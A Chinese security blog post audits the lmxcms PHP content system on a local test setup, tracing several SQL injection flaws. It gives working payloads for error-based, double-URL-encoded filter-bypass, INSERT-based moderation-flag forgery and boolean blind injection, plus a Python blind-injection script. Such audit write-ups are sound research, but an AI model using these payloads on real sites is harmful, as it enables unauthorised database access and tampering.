【代码审计 & SQL注入篇】梦想cms代码审计

本文最后更新于:2022年1月17日下午5点33分

前言

这是梦想cms代码审计的第一篇,第一次对完整的cms进行审计,有很多不足的地方,而且都是一些比较简单的SQL注入漏洞,借此机会学习一下PHP的MVC架构。

环境

调试环境:MAMP PRO + Sublime Text + Apache + PHP5.4.45

image-20220117121220566

CNVD中已提交的漏洞

image-20220117121407217

image-20220117121429822

image-20220117121456763

后台SQL注入

BookAction.class.php

c/class/db.class.php中第95行存在SQL语句拼接

image-20220117125110549

看看是否有地方可以调用

c/admin/BookAction.class.php中,reply方法会调用上方的SQL语句

image-20220117125424795

调用流程为:getRely->parent::selectModel->parent::selectDB

利用报错注入

payload如下:

1
?m=book&a=reply&id=3) or updatexml(0,concat(0x7e,version()),1) --+

image-20220117125648708

前台SQL注入

TagsAction.class.php

在TagsAction.class.php处存在SQL注入

image-20220117144355236

调用流程为getNameData->parent::oneModel->parent::oneDB

image-20220117144656512

bp发包

image-20220117145000216

传入的name参数可控,但是在有过滤。

在这个cms中,过滤的函数在function/common.php中的p函数

image-20220117145352948

其中正则过滤如下:

1
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v))

不过在过滤后,TagsAction.class.php还有一个函数string::delHtml

image-20220117145517398

这一个函数主要是去掉HTML标签,例如<>

image-20220117145605337

这个时候虽然无法直接使用select进行注入,不过可以先传入sel<>ect,绕过正则匹配后,利用strip_tags函数将<>去除,最终传入的sql语句即为select

但是可以传入select还不能完成注入,因为上方的单引号也被过滤了

不过在TagsAction.class.php处还有一个urldecode函数

image-20220117151035183

那么这样就可以实现二次编码注入

1
?m=tags&name=%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33

image-20220117151517507

BookAction.class.php

c/index/BookAction.class.php中存在如下代码

image-20220117154349025

跟进bookModel::add->parent::addModel->parent::addDB

image-20220117154434757

将sql语句打印出来

image-20220117154539278

bp抓包,传入BookAction.class.php中需要的值

image-20220117154615913

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?m=book HTTP/1.1
Host: lmxcms:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcms:8888/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=e84bae4b4f8f6620089bea87e0875f5d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

setbook=a&name=a&content=b&mail=c&tel=d

image-20220117154629255

同样,这个地方和上一次地方也是存在单引号转义的情况

不过这里insert可以使用)闭合注入,不过这个cms需要管理员对留言进行审核,审核通过后才能在前端显示评论。

换句话说,能否通过修改数据库中的值,使得将评论显示在前端

我们可以看到数据库lmx_book表中,字段如下

image-20220117160423250

显而易见,ischeck如果为1,那么就是可见的

并且在insert语句中,key和value都是可控的,因此我们也就可以伪造ischeck

这样的话就可以构造payload

1
2
GET: ?m=book
POST: setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1

image-20220117160244546

查看数据库

image-20220117160551301

可以看到伪造ischeck成功

查看网站前端

image-20220117160659106

此时留言伪造成功。

将payload修改如下:

1
setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,database(),3,4,5,6,1);#=1

image-20220117160911625

数据外带成功

SearchAction.class.php

如下图跟进searchModel::searchCoutn->parent::countModel->parent::countDB->function countDB

image-20220117165514296

将传入的sql语句打印出来

image-20220117165636940

可以看到搜索框执行的sql语句

image-20220117165724281

这里可以使用tuijian这个参数进行注入

image-20220117165803895

这里尝试使用SQL盲注

1
?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23

image-20220117170917344

此时判断数据库名称的第一个字母为l(0x6c),返回的内容长度为8457

image-20220117171027800

此时判断数据库名称的第一个字母为m(0x6d),返回的内容长度为5357

可借此进行布尔盲注,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://lmxcms:8888?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"
ans = ""

for i in range(1, 7):
for j in range(97, 97+26):
surl = url.format(i, hex(j))
res = requests.get(surl)
if len(res.text) > 6000:
ans += chr(j)
print(ans)

得到数据库名:lmxcms

image-20220117172345073